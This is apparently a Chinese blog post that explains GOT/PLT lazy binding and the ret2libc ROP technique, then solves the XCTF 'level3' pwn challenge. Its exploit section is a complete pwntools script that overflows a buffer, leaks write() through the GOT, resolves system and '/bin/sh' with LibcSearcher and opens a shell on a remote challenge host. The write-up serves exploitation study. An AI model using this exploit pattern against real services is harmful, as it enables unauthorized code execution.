浅谈rop-ret2libc原理以及解答-以攻防世界level3为例

3 篇文章 0 订阅

栈溢出-rop-libc

0x01、got表和plt表与动态链接、绑定延迟(重点理解)
GOT概述

1、当在程序中引用某个共享库中的符号时,编译链接阶段并不知道这个符号的具体位置,只有等到动态链接器将所需要的共享库加载进内存后,也就是在运行阶段,符号的地址才会最终确定。因此,需要有一个数据结构来保存符号的绝对地址,这就是GOT表的作用,GOT表中每项保存程序中引用其他符号的绝对地址。这样,程序就可以通过引用GOT表来获得某个符号的地址
2、在X86结构中,GOT表的前三项保留,用于保存特殊的数据结构地址,其他的各项保存符号的绝对地址
3、对于符号的动态解析过程,我们只需要了解的就是第2项、第3项,即GOT[1]、GOT[2]
4、GOT[1]保存的是一个地址,指向已经加载的共享库的链表地址
5、GOT[2]保存的是一个函数的地址,定义如下:GOT[2]=&_dl_runtime_resolve,这个函数的主要作用就是找到某个符号的地址,并把它写到与此符号相关的GOT项中,然后就是将控制转移到目标函数中

PLT表概述

PLT表通过引用GOT表中的函数的绝对地址,来把控制转移到实际的函数
在实际的可执行程序或者共享目标文件中,GOT表在名称为.got.plt的section中,PLT表在名称为.plt的section中

第一次函数调用:
图片参考连接链接(不懂的也可以去看这个博主的视频,):
https://space.bilibili.com/24337218?from=search&seid=6758970907964287136在这里插入图片描述第二次函数调用:
在这里插入图片描述
更多关于libc知识可以看另一篇文章:
https://blog.csdn.net/pointerr/article/details/111349927?spm=1001.2014.3001.5501

0x02、例题:攻防世界-level3:

老rop了
在这里插入图片描述

plt表没有system函数,没有/bin/sh字符串(shift+f12)。
在这里插入图片描述
在这里插入图片描述

思路:
题目给出了vulerable_function(),其中有read()栈溢出,而libc版本的查找和得到shell需要两步进行,所以应该重复利用vulerable_function(),大致的pwn思路如下:

1.通过vulerable_function()的read()构造ROP得到PLT表中write()的位置
2.通过write()得到write()在程序中的真实地址
3.使用LibcSearcher得到libc版本(LibcSearcher可以参考https://github.com/lieanu/LibcSearcher)
4.在对应的libc版本中查找write()、system()、/bin/sh的真实地址
5.使用write()的程序地址和libc地址计算出偏移量
6.在system()、/bin/sh的真实地址上加上偏移量再通过vulerable_function()执行getshell

求偏移量,得出偏移量为140。
在这里插入图片描述

求write函数的真实地址:
在这里插入图片描述

在这里插入图片描述

write_plt:0x8048340
write_got:0x804a018
write_addr:0xf76a63c0

知道了write的偏移量,就能求出libc地址与该程序地址的总体偏移量:

offer=write_addr-write_offer

通过该偏移量,就能求出system函数,bin_sh字符串的真实地址加上总的偏移量。从而编写payload2:

payload2='A'*0x88 + 'A'*0x4+p32(system_addr)+p32(exit_addr)+p32(bin_sh_addr)

这里为什么要加上exit的地址,查询资料得知:

linux x86函数执行的时候,再刚刚进入system函数的时候,会默认push一个返回地址,然后才是system的参数,所以如果我们想得到一个shell的话,system地址中间需要随便加一个以作为间隔

再次利用vuln函数漏洞,就能getshell。
0x03、exp:

#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
p=remote("111.200.241.244",54643)
 
elf =ELF("./level3")
write_got=elf.got["write"]
write_plt=elf.plt["write"]
vuln_addr=elf.symbols["vulnerable_function"]
p.recv()
 
payload1='A'*0x88 + 'A'*0x4 +p32(write_plt)+p32(vuln_addr)+p32(0x1)+p32(write_got)
p.send(payload1)
write_addr = u32(p.recv(4))
print("write_plt:"+hex(write_plt))
print("write_got:"+hex(write_got))
print("write_addr:"+hex(write_addr))
 
libc=LibcSearcher("write",write_addr)
write_offer=libc.dump("write")
bin_sh_offer=libc.dump("str_bin_sh")
system_offer=libc.dump("system")
exit_offer=libc.dump("exit")
 
 
offer=write_addr-write_offer
print("offer:"+hex(offer))
system_addr=system_offer+offer
bin_sh_addr=bin_sh_offer+offer
exit_addr=exit_offer+offer
print("system_addr:"+hex(system_addr))
print("bin_sh_addr:"+hex(bin_sh_addr))
print("exit_addr:"+hex(exit_addr))
 
payload2='A'*0x88 + 'A'*0x4+p32(system_addr)+p32(exit_addr)+p32(bin_sh_addr)
p.recv()
p.send(payload2)
p.interactive()

结果:
在这里插入图片描述

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值